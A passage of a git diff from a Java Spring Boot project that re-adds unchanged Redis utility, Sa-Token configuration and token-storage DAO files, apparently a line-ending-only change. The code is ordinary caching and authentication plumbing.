rList = CLIENT.getList(key); - return rList.add(data); - } - - /** - * 注册List监听器 - *

- * key 监听器需开启 `notify-keyspace-events` 等 redis 相关配置 - * - * @param key 缓存的键值 - * @param listener 监听器配置 - */ - public static void addListListener(final String key, final ObjectListener listener) { - RList rList = CLIENT.getList(key); - rList.addListener(listener); - } - - /** - * 获得缓存的list对象 - * - * @param key 缓存的键值 - * @return 缓存键值对应的数据 - */ - public static List getCacheList(final String key) { - RList rList = CLIENT.getList(key); - return rList.readAll(); - } - - /** - * 获得缓存的list对象(范围) - * - * @param key 缓存的键值 - * @param form 起始下标 - * @param to 截止下标 - * @return 缓存键值对应的数据 - */ - public static List getCacheListRange(final String key, int form, int to) { - RList rList = CLIENT.getList(key); - return rList.range(form, to); - } - - /** - * 缓存Set - * - * @param key 缓存键值 - * @param dataSet 缓存的数据 - * @return 缓存数据的对象 - */ - public static boolean setCacheSet(final String key, final Set dataSet) { - RSet rSet = CLIENT.getSet(key); - return rSet.addAll(dataSet); - } - - /** - * 追加缓存Set数据 - * - * @param key 缓存的键值 - * @param data 待缓存的数据 - * @return 缓存的对象 - */ - public static boolean addCacheSet(final String key, final T data) { - RSet rSet = CLIENT.getSet(key); - return rSet.add(data); - } - - /** - * 注册Set监听器 - *

- * key 监听器需开启 `notify-keyspace-events` 等 redis 相关配置 - * - * @param key 缓存的键值 - * @param listener 监听器配置 - */ - public static void addSetListener(final String key, final ObjectListener listener) { - RSet rSet = CLIENT.getSet(key); - rSet.addListener(listener); - } - - /** - * 获得缓存的set - * - * @param key 缓存的key - * @return set对象 - */ - public static Set getCacheSet(final String key) { - RSet rSet = CLIENT.getSet(key); - return rSet.readAll(); - } - - /** - * 缓存Map - * - * @param key 缓存的键值 - * @param dataMap 缓存的数据 - */ - public static void setCacheMap(final String key, final Map dataMap) { - if (dataMap != null) { - RMap rMap = CLIENT.getMap(key); - rMap.putAll(dataMap); - } - } - - /** - * 注册Map监听器 - *

- * key 监听器需开启 `notify-keyspace-events` 等 redis 相关配置 - * - * @param key 缓存的键值 - * @param listener 监听器配置 - */ - public static void addMapListener(final String key, final ObjectListener listener) { - RMap rMap = CLIENT.getMap(key); - rMap.addListener(listener); - } - - /** - * 获得缓存的Map - * - * @param key 缓存的键值 - * @return map对象 - */ - public static Map getCacheMap(final String key) { - RMap rMap = CLIENT.getMap(key); - return rMap.getAll(rMap.keySet()); - } - - /** - * 获得缓存Map的key列表 - * - * @param key 缓存的键值 - * @return key列表 - */ - public static Set getCacheMapKeySet(final String key) { - RMap rMap = CLIENT.getMap(key); - return rMap.keySet(); - } - - /** - * 往Hash中存入数据 - * - * @param key Redis键 - * @param hKey Hash键 - * @param value 值 - */ - public static void setCacheMapValue(final String key, final String hKey, final T value) { - RMap rMap = CLIENT.getMap(key); - rMap.put(hKey, value); - } - - /** - * 获取Hash中的数据 - * - * @param key Redis键 - * @param hKey Hash键 - * @return Hash中的对象 - */ - public static T getCacheMapValue(final String key, final String hKey) { - RMap rMap = CLIENT.getMap(key); - return rMap.get(hKey); - } - - /** - * 删除Hash中的数据 - * - * @param key Redis键 - * @param hKey Hash键 - * @return Hash中的对象 - */ - public static T delCacheMapValue(final String key, final String hKey) { - RMap rMap = CLIENT.getMap(key); - return rMap.remove(hKey); - } - - /** - * 删除Hash中的数据 - * - * @param key Redis键 - * @param hKeys Hash键 - */ - public static void delMultiCacheMapValue(final String key, final Set hKeys) { - RBatch batch = CLIENT.createBatch(); - RMapAsync rMap = batch.getMap(key); - for (String hKey : hKeys) { - rMap.removeAsync(hKey); - } - batch.execute(); - } - - /** - * 获取多个Hash中的数据 - * - * @param key Redis键 - * @param hKeys Hash键集合 - * @return Hash对象集合 - */ - public static Map getMultiCacheMapValue(final String key, final Set hKeys) { - RMap rMap = CLIENT.getMap(key); - return rMap.getAll(hKeys); - } - - /** - * 设置原子值 - * - * @param key Redis键 - * @param value 值 - */ - public static void setAtomicValue(String key, long value) { - RAtomicLong atomic = CLIENT.getAtomicLong(key); - atomic.set(value); - } - - /** - * 获取原子值 - * - * @param key Redis键 - * @return 当前值 - */ - public static long getAtomicValue(String key) { - RAtomicLong atomic = CLIENT.getAtomicLong(key); - return atomic.get(); - } - - /** - * 递增原子值 - * - * @param key Redis键 - * @return 当前值 - */ - public static long incrAtomicValue(String key) { - RAtomicLong atomic = CLIENT.getAtomicLong(key); - return atomic.incrementAndGet(); - } - - /** - * 递减原子值 - * - * @param key Redis键 - * @return 当前值 - */ - public static long decrAtomicValue(String key) { - RAtomicLong atomic = CLIENT.getAtomicLong(key); - return atomic.decrementAndGet(); - } - - /** - * 获得缓存的基本对象列表(全局匹配忽略租户 自行拼接租户id) - *

- * limit-设置扫描的限制数量(默认为0,查询全部) - * pattern-设置键的匹配模式(默认为null) - * chunkSize-设置每次扫描的块大小(默认为0,本方法设置为1000) - * type-设置键的类型(默认为null,查询全部类型) - *

- * @see KeysScanOptions - * @param pattern 字符串前缀 - * @return 对象列表 - */ - public static Collection keys(final String pattern) { - return keys(KeysScanOptions.defaults().pattern(pattern).chunkSize(1000)); - } - - /** - * 通过扫描参数获取缓存的基本对象列表 - * @param keysScanOptions 扫描参数 - *

- * limit-设置扫描的限制数量(默认为0,查询全部) - * pattern-设置键的匹配模式(默认为null) - * chunkSize-设置每次扫描的块大小(默认为0) - * type-设置键的类型(默认为null,查询全部类型) - *

- * @see KeysScanOptions - */ - public static Collection keys(final KeysScanOptions keysScanOptions) { - Stream keysStream = CLIENT.getKeys().getKeysStream(keysScanOptions); - return keysStream.collect(Collectors.toList()); - } - - /** - * 删除缓存的基本对象列表(全局匹配忽略租户 自行拼接租户id) - * - * @param pattern 字符串前缀 - */ - public static void deleteKeys(final String pattern) { - CLIENT.getKeys().deleteByPattern(pattern); - } - - /** - * 检查redis中是否存在key - * - * @param key 键 - */ - public static Boolean hasKey(String key) { - RKeys rKeys = CLIENT.getKeys(); - return rKeys.countExists(key) > 0; - } - - -} +package org.dromara.common.redis.utils; + +import lombok.AccessLevel; +import lombok.NoArgsConstructor; +import org.dromara.common.core.utils.SpringUtils; +import org.redisson.api.*; +import org.redisson.api.options.KeysScanOptions; + +import java.time.Duration; +import java.util.Collection; +import java.util.List; +import java.util.Map; +import java.util.Set; +import java.util.function.Consumer; +import java.util.stream.Collectors; +import java.util.stream.Stream; + +/** + * redis 工具类 + * + * @author Lion Li + * @version 3.1.0 新增 + */ +@NoArgsConstructor(access = AccessLevel.PRIVATE) +@SuppressWarnings(value = {"unchecked", "rawtypes"}) +public class RedisUtils { + + private static final RedissonClient CLIENT = SpringUtils.getBean(RedissonClient.class); + + /** + * 限流 + * + * @param key 限流key + * @param rateType 限流类型 + * @param rate 速率 + * @param rateInterval 速率间隔 + * @return -1 表示失败 + */ + public static long rateLimiter(String key, RateType rateType, int rate, int rateInterval) { + return rateLimiter(key, rateType, rate, rateInterval, 0); + } + + /** + * 限流 + * + * @param key 限流key + * @param rateType 限流类型 + * @param rate 速率 + * @param rateInterval 速率间隔 + * @param timeout 超时时间 + * @return -1 表示失败 + */ + public static long rateLimiter(String key, RateType rateType, int rate, int rateInterval, int timeout) { + RRateLimiter rateLimiter = CLIENT.getRateLimiter(key); + rateLimiter.trySetRate(rateType, rate, Duration.ofSeconds(rateInterval), Duration.ofSeconds(timeout)); + if (rateLimiter.tryAcquire()) { + return rateLimiter.availablePermits(); + } else { + return -1L; + } + } + + /** + * 获取客户端实例 + */ + public static RedissonClient getClient() { + return CLIENT; + } + + /** + * 发布通道消息 + * + * @param channelKey 通道key + * @param msg 发送数据 + * @param consumer 自定义处理 + */ + public static void publish(String channelKey, T msg, Consumer consumer) { + RTopic topic = CLIENT.getTopic(channelKey); + topic.publish(msg); + consumer.accept(msg); + } + + /** + * 发布消息到指定的频道 + * + * @param channelKey 通道key + * @param msg 发送数据 + */ + public static void publish(String channelKey, T msg) { + RTopic topic = CLIENT.getTopic(channelKey); + topic.publish(msg); + } + + /** + * 订阅通道接收消息 + * + * @param channelKey 通道key + * @param clazz 消息类型 + * @param consumer 自定义处理 + */ + public static void subscribe(String channelKey, Class clazz, Consumer consumer) { + RTopic topic = CLIENT.getTopic(channelKey); + topic.addListener(clazz, (channel, msg) -> consumer.accept(msg)); + } + + /** + * 缓存基本的对象,Integer、String、实体类等 + * + * @param key 缓存的键值 + * @param value 缓存的值 + */ + public static void setCacheObject(final String key, final T value) { + setCacheObject(key, value, false); + } + + /** + * 缓存基本的对象,保留当前对象 TTL 有效期 + * + * @param key 缓存的键值 + * @param value 缓存的值 + * @param isSaveTtl 是否保留TTL有效期(例如: set之前ttl剩余90 set之后还是为90) + * @since Redis 6.X 以上使用 setAndKeepTTL 兼容 5.X 方案 + */ + public static void setCacheObject(final String key, final T value, final boolean isSaveTtl) { + RBucket bucket = CLIENT.getBucket(key); + if (isSaveTtl) { + try { + bucket.setAndKeepTTL(value); + } catch (Exception e) { + long timeToLive = bucket.remainTimeToLive(); + if (timeToLive == -1) { + setCacheObject(key, value); + } else { + setCacheObject(key, value, Duration.ofMillis(timeToLive)); + } + } + } else { + bucket.set(value); + } + } + + /** + * 缓存基本的对象,Integer、String、实体类等 + * + * @param key 缓存的键值 + * @param value 缓存的值 + * @param duration 时间 + */ + public static void setCacheObject(final String key, final T value, final Duration duration) { + RBatch batch = CLIENT.createBatch(); + RBucketAsync bucket = batch.getBucket(key); + bucket.setAsync(value); + bucket.expireAsync(duration); + batch.execute(); + } + + /** + * 如果不存在则设置 并返回 true 如果存在则返回 false + * + * @param key 缓存的键值 + * @param value 缓存的值 + * @return set成功或失败 + */ + public static boolean setObjectIfAbsent(final String key, final T value, final Duration duration) { + RBucket bucket = CLIENT.getBucket(key); + return bucket.setIfAbsent(value, duration); + } + + /** + * 如果存在则设置 并返回 true 如果存在则返回 false + * + * @param key 缓存的键值 + * @param value 缓存的值 + * @return set成功或失败 + */ + public static boolean setObjectIfExists(final String key, final T value, final Duration duration) { + RBucket bucket = CLIENT.getBucket(key); + return bucket.setIfExists(value, duration); + } + + /** + * 注册对象监听器 + *

+ * key 监听器需开启 `notify-keyspace-events` 等 redis 相关配置 + * + * @param key 缓存的键值 + * @param listener 监听器配置 + */ + public static void addObjectListener(final String key, final ObjectListener listener) { + RBucket result = CLIENT.getBucket(key); + result.addListener(listener); + } + + /** + * 设置有效时间 + * + * @param key Redis键 + * @param timeout 超时时间 + * @return true=设置成功;false=设置失败 + */ + public static boolean expire(final String key, final long timeout) { + return expire(key, Duration.ofSeconds(timeout)); + } + + /** + * 设置有效时间 + * + * @param key Redis键 + * @param duration 超时时间 + * @return true=设置成功;false=设置失败 + */ + public static boolean expire(final String key, final Duration duration) { + RBucket rBucket = CLIENT.getBucket(key); + return rBucket.expire(duration); + } + + /** + * 获得缓存的基本对象。 + * + * @param key 缓存键值 + * @return 缓存键值对应的数据 + */ + public static T getCacheObject(final String key) { + RBucket rBucket = CLIENT.getBucket(key); + return rBucket.get(); + } + + /** + * 获得key剩余存活时间 + * + * @param key 缓存键值 + * @return 剩余存活时间 + */ + public static long getTimeToLive(final String key) { + RBucket rBucket = CLIENT.getBucket(key); + return rBucket.remainTimeToLive(); + } + + /** + * 删除单个对象 + * + * @param key 缓存的键值 + */ + public static boolean deleteObject(final String key) { + return CLIENT.getBucket(key).delete(); + } + + /** + * 删除集合对象 + * + * @param collection 多个对象 + */ + public static void deleteObject(final Collection collection) { + RBatch batch = CLIENT.createBatch(); + collection.forEach(t -> { + batch.getBucket(t.toString()).deleteAsync(); + }); + batch.execute(); + } + + /** + * 检查缓存对象是否存在 + * + * @param key 缓存的键值 + */ + public static boolean isExistsObject(final String key) { + return CLIENT.getBucket(key).isExists(); + } + + /** + * 缓存List数据 + * + * @param key 缓存的键值 + * @param dataList 待缓存的List数据 + * @return 缓存的对象 + */ + public static boolean setCacheList(final String key, final List dataList) { + RList rList = CLIENT.getList(key); + return rList.addAll(dataList); + } + + /** + * 追加缓存List数据 + * + * @param key 缓存的键值 + * @param data 待缓存的数据 + * @return 缓存的对象 + */ + public static boolean addCacheList(final String key, final T data) { + RList rList = CLIENT.getList(key); + return rList.add(data); + } + + /** + * 注册List监听器 + *

+ * key 监听器需开启 `notify-keyspace-events` 等 redis 相关配置 + * + * @param key 缓存的键值 + * @param listener 监听器配置 + */ + public static void addListListener(final String key, final ObjectListener listener) { + RList rList = CLIENT.getList(key); + rList.addListener(listener); + } + + /** + * 获得缓存的list对象 + * + * @param key 缓存的键值 + * @return 缓存键值对应的数据 + */ + public static List getCacheList(final String key) { + RList rList = CLIENT.getList(key); + return rList.readAll(); + } + + /** + * 获得缓存的list对象(范围) + * + * @param key 缓存的键值 + * @param form 起始下标 + * @param to 截止下标 + * @return 缓存键值对应的数据 + */ + public static List getCacheListRange(final String key, int form, int to) { + RList rList = CLIENT.getList(key); + return rList.range(form, to); + } + + /** + * 缓存Set + * + * @param key 缓存键值 + * @param dataSet 缓存的数据 + * @return 缓存数据的对象 + */ + public static boolean setCacheSet(final String key, final Set dataSet) { + RSet rSet = CLIENT.getSet(key); + return rSet.addAll(dataSet); + } + + /** + * 追加缓存Set数据 + * + * @param key 缓存的键值 + * @param data 待缓存的数据 + * @return 缓存的对象 + */ + public static boolean addCacheSet(final String key, final T data) { + RSet rSet = CLIENT.getSet(key); + return rSet.add(data); + } + + /** + * 注册Set监听器 + *

+ * key 监听器需开启 `notify-keyspace-events` 等 redis 相关配置 + * + * @param key 缓存的键值 + * @param listener 监听器配置 + */ + public static void addSetListener(final String key, final ObjectListener listener) { + RSet rSet = CLIENT.getSet(key); + rSet.addListener(listener); + } + + /** + * 获得缓存的set + * + * @param key 缓存的key + * @return set对象 + */ + public static Set getCacheSet(final String key) { + RSet rSet = CLIENT.getSet(key); + return rSet.readAll(); + } + + /** + * 缓存Map + * + * @param key 缓存的键值 + * @param dataMap 缓存的数据 + */ + public static void setCacheMap(final String key, final Map dataMap) { + if (dataMap != null) { + RMap rMap = CLIENT.getMap(key); + rMap.putAll(dataMap); + } + } + + /** + * 注册Map监听器 + *

+ * key 监听器需开启 `notify-keyspace-events` 等 redis 相关配置 + * + * @param key 缓存的键值 + * @param listener 监听器配置 + */ + public static void addMapListener(final String key, final ObjectListener listener) { + RMap rMap = CLIENT.getMap(key); + rMap.addListener(listener); + } + + /** + * 获得缓存的Map + * + * @param key 缓存的键值 + * @return map对象 + */ + public static Map getCacheMap(final String key) { + RMap rMap = CLIENT.getMap(key); + return rMap.getAll(rMap.keySet()); + } + + /** + * 获得缓存Map的key列表 + * + * @param key 缓存的键值 + * @return key列表 + */ + public static Set getCacheMapKeySet(final String key) { + RMap rMap = CLIENT.getMap(key); + return rMap.keySet(); + } + + /** + * 往Hash中存入数据 + * + * @param key Redis键 + * @param hKey Hash键 + * @param value 值 + */ + public static void setCacheMapValue(final String key, final String hKey, final T value) { + RMap rMap = CLIENT.getMap(key); + rMap.put(hKey, value); + } + + /** + * 获取Hash中的数据 + * + * @param key Redis键 + * @param hKey Hash键 + * @return Hash中的对象 + */ + public static T getCacheMapValue(final String key, final String hKey) { + RMap rMap = CLIENT.getMap(key); + return rMap.get(hKey); + } + + /** + * 删除Hash中的数据 + * + * @param key Redis键 + * @param hKey Hash键 + * @return Hash中的对象 + */ + public static T delCacheMapValue(final String key, final String hKey) { + RMap rMap = CLIENT.getMap(key); + return rMap.remove(hKey); + } + + /** + * 删除Hash中的数据 + * + * @param key Redis键 + * @param hKeys Hash键 + */ + public static void delMultiCacheMapValue(final String key, final Set hKeys) { + RBatch batch = CLIENT.createBatch(); + RMapAsync rMap = batch.getMap(key); + for (String hKey : hKeys) { + rMap.removeAsync(hKey); + } + batch.execute(); + } + + /** + * 获取多个Hash中的数据 + * + * @param key Redis键 + * @param hKeys Hash键集合 + * @return Hash对象集合 + */ + public static Map getMultiCacheMapValue(final String key, final Set hKeys) { + RMap rMap = CLIENT.getMap(key); + return rMap.getAll(hKeys); + } + + /** + * 设置原子值 + * + * @param key Redis键 + * @param value 值 + */ + public static void setAtomicValue(String key, long value) { + RAtomicLong atomic = CLIENT.getAtomicLong(key); + atomic.set(value); + } + + /** + * 获取原子值 + * + * @param key Redis键 + * @return 当前值 + */ + public static long getAtomicValue(String key) { + RAtomicLong atomic = CLIENT.getAtomicLong(key); + return atomic.get(); + } + + /** + * 递增原子值 + * + * @param key Redis键 + * @return 当前值 + */ + public static long incrAtomicValue(String key) { + RAtomicLong atomic = CLIENT.getAtomicLong(key); + return atomic.incrementAndGet(); + } + + /** + * 递减原子值 + * + * @param key Redis键 + * @return 当前值 + */ + public static long decrAtomicValue(String key) { + RAtomicLong atomic = CLIENT.getAtomicLong(key); + return atomic.decrementAndGet(); + } + + /** + * 获得缓存的基本对象列表(全局匹配忽略租户 自行拼接租户id) + *

+ * limit-设置扫描的限制数量(默认为0,查询全部) + * pattern-设置键的匹配模式(默认为null) + * chunkSize-设置每次扫描的块大小(默认为0,本方法设置为1000) + * type-设置键的类型(默认为null,查询全部类型) + *

+ * @see KeysScanOptions + * @param pattern 字符串前缀 + * @return 对象列表 + */ + public static Collection keys(final String pattern) { + return keys(KeysScanOptions.defaults().pattern(pattern).chunkSize(1000)); + } + + /** + * 通过扫描参数获取缓存的基本对象列表 + * @param keysScanOptions 扫描参数 + *

+ * limit-设置扫描的限制数量(默认为0,查询全部) + * pattern-设置键的匹配模式(默认为null) + * chunkSize-设置每次扫描的块大小(默认为0) + * type-设置键的类型(默认为null,查询全部类型) + *

+ * @see KeysScanOptions + */ + public static Collection keys(final KeysScanOptions keysScanOptions) { + Stream keysStream = CLIENT.getKeys().getKeysStream(keysScanOptions); + return keysStream.collect(Collectors.toList()); + } + + /** + * 删除缓存的基本对象列表(全局匹配忽略租户 自行拼接租户id) + * + * @param pattern 字符串前缀 + */ + public static void deleteKeys(final String pattern) { + CLIENT.getKeys().deleteByPattern(pattern); + } + + /** + * 检查redis中是否存在key + * + * @param key 键 + */ + public static Boolean hasKey(String key) { + RKeys rKeys = CLIENT.getKeys(); + return rKeys.countExists(key) > 0; + } + + +} diff --git a/ruoyi-common/ruoyi-common-redis/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports b/ruoyi-common/ruoyi-common-redis/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports index 0475b19..75b3fc8 100644 --- a/ruoyi-common/ruoyi-common-redis/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports +++ b/ruoyi-common/ruoyi-common-redis/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports @@ -1,2 +1,2 @@ -org.dromara.common.redis.config.RedisConfig -org.dromara.common.redis.config.CacheConfig +org.dromara.common.redis.config.RedisConfig +org.dromara.common.redis.config.CacheConfig diff --git a/ruoyi-common/ruoyi-common-satoken/pom.xml b/ruoyi-common/ruoyi-common-satoken/pom.xml index 4df7d4d..495de83 100644 --- a/ruoyi-common/ruoyi-common-satoken/pom.xml +++ b/ruoyi-common/ruoyi-common-satoken/pom.xml @@ -1,46 +1,46 @@ - - - - org.dromara - ruoyi-common - ${revision} - - 4.0.0 - - ruoyi-common-satoken - - - - - org.dromara - ruoyi-common-core - - - - - org.dromara - ruoyi-common-redis - - - - - cn.dev33 - sa-token-spring-boot3-starter - - - - - cn.dev33 - sa-token-jwt - - - - com.github.ben-manes.caffeine - caffeine - - - - - + + + + org.dromara + ruoyi-common + ${revision} + + 4.0.0 + + ruoyi-common-satoken + + + + + org.dromara + ruoyi-common-core + + + + + org.dromara + ruoyi-common-redis + + + + + cn.dev33 + sa-token-spring-boot3-starter + + + + + cn.dev33 + sa-token-jwt + + + + com.github.ben-manes.caffeine + caffeine + + + + + diff --git a/ruoyi-common/ruoyi-common-satoken/src/main/java/org/dromara/common/satoken/config/SaTokenConfig.java b/ruoyi-common/ruoyi-common-satoken/src/main/java/org/dromara/common/satoken/config/SaTokenConfig.java index 61c6b9a..a09a62a 100644 --- a/ruoyi-common/ruoyi-common-satoken/src/main/java/org/dromara/common/satoken/config/SaTokenConfig.java +++ b/ruoyi-common/ruoyi-common-satoken/src/main/java/org/dromara/common/satoken/config/SaTokenConfig.java @@ -1,54 +1,54 @@ -package org.dromara.common.satoken.config; - -import cn.dev33.satoken.dao.SaTokenDao; -import cn.dev33.satoken.jwt.StpLogicJwtForSimple; -import cn.dev33.satoken.stp.StpInterface; -import cn.dev33.satoken.stp.StpLogic; -import org.dromara.common.core.factory.YmlPropertySourceFactory; -import org.dromara.common.satoken.core.dao.PlusSaTokenDao; -import org.dromara.common.satoken.core.service.SaPermissionImpl; -import org.dromara.common.satoken.handler.SaTokenExceptionHandler; -import org.springframework.boot.autoconfigure.AutoConfiguration; -import org.springframework.context.annotation.Bean; -import org.springframework.context.annotation.PropertySource; - -/** - * sa-token 配置 - * - * @author Lion Li - */ -@AutoConfiguration -@PropertySource(value = "classpath:common-satoken.yml", factory = YmlPropertySourceFactory.class) -public class SaTokenConfig { - - @Bean - public StpLogic getStpLogicJwt() { - // Sa-Token 整合 jwt (简单模式) - return new StpLogicJwtForSimple(); - } - - /** - * 权限接口实现(使用bean注入方便用户替换) - */ - @Bean - public StpInterface stpInterface() { - return new SaPermissionImpl(); - } - - /** - * 自定义dao层存储 - */ - @Bean - public SaTokenDao saTokenDao() { - return new PlusSaTokenDao(); - } - - /** - * 异常处理器 - */ - @Bean - public SaTokenExceptionHandler saTokenExceptionHandler() { - return new SaTokenExceptionHandler(); - } - -} +package org.dromara.common.satoken.config; + +import cn.dev33.satoken.dao.SaTokenDao; +import cn.dev33.satoken.jwt.StpLogicJwtForSimple; +import cn.dev33.satoken.stp.StpInterface; +import cn.dev33.satoken.stp.StpLogic; +import org.dromara.common.core.factory.YmlPropertySourceFactory; +import org.dromara.common.satoken.core.dao.PlusSaTokenDao; +import org.dromara.common.satoken.core.service.SaPermissionImpl; +import org.dromara.common.satoken.handler.SaTokenExceptionHandler; +import org.springframework.boot.autoconfigure.AutoConfiguration; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.PropertySource; + +/** + * sa-token 配置 + * + * @author Lion Li + */ +@AutoConfiguration +@PropertySource(value = "classpath:common-satoken.yml", factory = YmlPropertySourceFactory.class) +public class SaTokenConfig { + + @Bean + public StpLogic getStpLogicJwt() { + // Sa-Token 整合 jwt (简单模式) + return new StpLogicJwtForSimple(); + } + + /** + * 权限接口实现(使用bean注入方便用户替换) + */ + @Bean + public StpInterface stpInterface() { + return new SaPermissionImpl(); + } + + /** + * 自定义dao层存储 + */ + @Bean + public SaTokenDao saTokenDao() { + return new PlusSaTokenDao(); + } + + /** + * 异常处理器 + */ + @Bean + public SaTokenExceptionHandler saTokenExceptionHandler() { + return new SaTokenExceptionHandler(); + } + +} diff --git a/ruoyi-common/ruoyi-common-satoken/src/main/java/org/dromara/common/satoken/core/dao/PlusSaTokenDao.java b/ruoyi-common/ruoyi-common-satoken/src/main/java/org/dromara/common/satoken/core/dao/PlusSaTokenDao.java index 38e12c3..e527ab5 100644 --- a/ruoyi-common/ruoyi-common-satoken/src/main/java/org/dromara/common/satoken/core/dao/PlusSaTokenDao.java +++ b/ruoyi-common/ruoyi-common-satoken/src/main/java/org/dromara/common/satoken/core/dao/PlusSaTokenDao.java @@ -1,172 +1,172 @@ -package org.dromara.common.satoken.core.dao; - -import cn.dev33.satoken.dao.SaTokenDao; -import cn.dev33.satoken.util.SaFoxUtil; -import com.github.benmanes.caffeine.cache.Cache; -import com.github.benmanes.caffeine.cache.Caffeine; -import org.dromara.common.redis.utils.RedisUtils; - -import java.time.Duration; -import java.util.ArrayList; -import java.util.Collection; -import java.util.List; -import java.util.concurrent.TimeUnit; - -/** - * Sa-Token持久层接口(使用框架自带RedisUtils实现 协议统一) - *

- * 采用 caffeine + redis 多级缓存 优化并发查询效率 - * - * @author Lion Li - */ -public class PlusSaTokenDao implements SaTokenDao { - - private static final Cache CAFFEINE = Caffeine.newBuilder() - // 设置最后一次写入或访问后经过固定时间过期 - .expireAfterWrite(5, TimeUnit.SECONDS) - // 初始的缓存空间大小 - .initialCapacity(100) - // 缓存的最大条数 - .maximumSize(1000) - .build(); - - /** - * 获取Value,如无返空 - */ - @Override - public String get(String key) { - Object o = CAFFEINE.get(key, k -> RedisUtils.getCacheObject(key)); - return (String) o; - } - - /** - * 写入Value,并设定存活时间 (单位: 秒) - */ - @Override - public void set(String key, String value, long timeout) { - if (timeout == 0 || timeout <= NOT_VALUE_EXPIRE) { - return; - } - // 判断是否为永不过期 - if (timeout == NEVER_EXPIRE) { - RedisUtils.setCacheObject(key, value); - } else { - RedisUtils.setCacheObject(key, value, Duration.ofSeconds(timeout)); - } - CAFFEINE.invalidate(key); - } - - /** - * 修修改指定key-value键值对 (过期时间不变) - */ - @Override - public void update(String key, String value) { - if (RedisUtils.hasKey(key)) { - RedisUtils.setCacheObject(key, value, true); - CAFFEINE.invalidate(key); - } - } - - /** - * 删除Value - */ - @Override - public void delete(String key) { - RedisUtils.deleteObject(key); - } - - /** - * 获取Value的剩余存活时间 (单位: 秒) - */ - @Override - public long getTimeout(String key) { - long timeout = RedisUtils.getTimeToLive(key); - return timeout < 0 ? timeout : timeout / 1000; - } - - /** - * 修改Value的剩余存活时间 (单位: 秒) - */ - @Override - public void updateTimeout(String key, long timeout) { - RedisUtils.expire(key, Duration.ofSeconds(timeout)); - } - - - /** - * 获取Object,如无返空 - */ - @Override - public Object getObject(String key) { - Object o = CAFFEINE.get(key, k -> RedisUtils.getCacheObject(key)); - return o; - } - - /** - * 写入Object,并设定存活时间 (单位: 秒) - */ - @Override - public void setObject(String key, Object object, long timeout) { - if (timeout == 0 || timeout <= NOT_VALUE_EXPIRE) { - return; - } - // 判断是否为永不过期 - if (timeout == NEVER_EXPIRE) { - RedisUtils.setCacheObject(key, object); - } else { - RedisUtils.setCacheObject(key, object, Duration.ofSeconds(timeout)); - } - CAFFEINE.invalidate(key); - } - - /** - * 更新Object (过期时间不变) - */ - @Override - public void updateObject(String key, Object object) { - if (RedisUtils.hasKey(key)) { - RedisUtils.setCacheObject(key, object, true); - CAFFEINE.invalidate(key); - } - } - - /** - * 删除Object - */ - @Override - public void deleteObject(String key) { - RedisUtils.deleteObject(key); - } - - /** - * 获取Object的剩余存活时间 (单位: 秒) - */ - @Override - public long getObjectTimeout(String key) { - long timeout = RedisUtils.getTimeToLive(key); - return timeout < 0 ? timeout : timeout / 1000; - } - - /** - * 修改Object的剩余存活时间 (单位: 秒) - */ - @Override - public void updateObjectTimeout(String key, long timeout) { - RedisUtils.expire(key, Duration.ofSeconds(timeout)); - } - - - /** - * 搜索数据 - */ - @SuppressWarnings("unchecked") - @Override - public List searchData(String prefix, String keyword, int start, int size, boolean sortType) { - String keyStr = prefix + "*" + keyword + "*"; - return (List) CAFFEINE.get(keyStr, k -> { - Collection keys = RedisUtils.keys(keyStr); - List list = new ArrayList<>(keys); - return SaFoxUtil.searchList(list, start, size, sortType); - }); - } -} +package org.dromara.common.satoken.core.dao; + +import cn.dev33.satoken.dao.SaTokenDao; +import cn.dev33.satoken.util.SaFoxUtil; +import com.github.benmanes.caffeine.cache.Cache; +import com.github.benmanes.caffeine.cache.Caffeine; +import org.dromara.common.redis.utils.RedisUtils; + +import java.time.Duration; +import java.util.ArrayList; +import java.util.Collection; +import java.util.List; +import java.util.concurrent.TimeUnit; + +/** + * Sa-Token持久层接口(使用框架自带RedisUtils实现 协议统一) + *

+ * 采用 caffeine + redis 多级缓存 优化并发查询效率 + * + * @author Lion Li + */ +public class PlusSaTokenDao implements SaTokenDao { + + private static final Cache CAFFEINE = Caffeine.newBuilder() + // 设置最后一次写入或访问后经过固定时间过期 + .expireAfterWrite(5, TimeUnit.SECONDS) + // 初始的缓存空间大小 + .initialCapacity(100) + // 缓存的最大条数 + .maximumSize(1000) + .build(); + + /** + * 获取Value,如无返空 + */ + @Override + public String get(String key) { + Object o = CAFFEINE.get(key, k -> RedisUtils.getCacheObject(key)); + return (String) o; + } + + /** + * 写入Value,并设定存活时间 (单位: 秒) + */ + @Override + public void set(String key, String value, long timeout) { + if (timeout == 0 || timeout <= NOT_VALUE_EXPIRE) { + return; + } + // 判断是否为永不过期 + if (timeout == NEVER_EXPIRE) { + RedisUtils.setCacheObject(key, value); + } else { + RedisUtils.setCacheObject(key, value, Duration.ofSeconds(timeout)); + } + CAFFEINE.invalidate(key); + } + + /** + * 修修改指定key-value键值对 (过期时间不变) + */ + @Override + public void update(String key, String value) { + if (RedisUtils.hasKey(key)) { + RedisUtils.setCacheObject(key, value, true); + CAFFEINE.invalidate(key); + } + } + + /** + * 删除Value + */ + @Override + public void delete(String key) { + RedisUtils.deleteObject(key); + } + + /** + * 获取Value的剩余存活时间 (单位: 秒) + */ + @Override + public long getTimeout(String key) { + long timeout = RedisUtils.getTimeToLive(key); + return timeout < 0 ? timeout : timeout / 1000; + } + + /** + * 修改Value的剩余存活时间 (单位: 秒) + */ + @Override + public void updateTimeout(String key, long timeout) { + RedisUtils.expire(key, Duration.ofSeconds(timeout)); + } + + + /** + * 获取Object,如无返空 + */ + @Override + public Object getObject(String key) { + Object o = CAFFEINE.get(key, k -> RedisUtils.getCacheObject(key)); + return o; + } + + /** + * 写入Object,并设定存活时间 (单位: 秒) + */ + @Override + public void setObject(String key, Object object, long timeout) { + if (timeout == 0 || timeout <= NOT_VALUE_EXPIRE) { + return; + } + // 判断是否为永不过期 + if (timeout == NEVER_EXPIRE) { + RedisUtils.setCacheObject(key, object); + } else { + RedisUtils.setCacheObject(key, object, Duration.ofSeconds(timeout)); + } + CAFFEINE.invalidate(key); + } + + /** + * 更新Object (过期时间不变) + */ + @Override + public void updateObject(String key, Object object) { + if 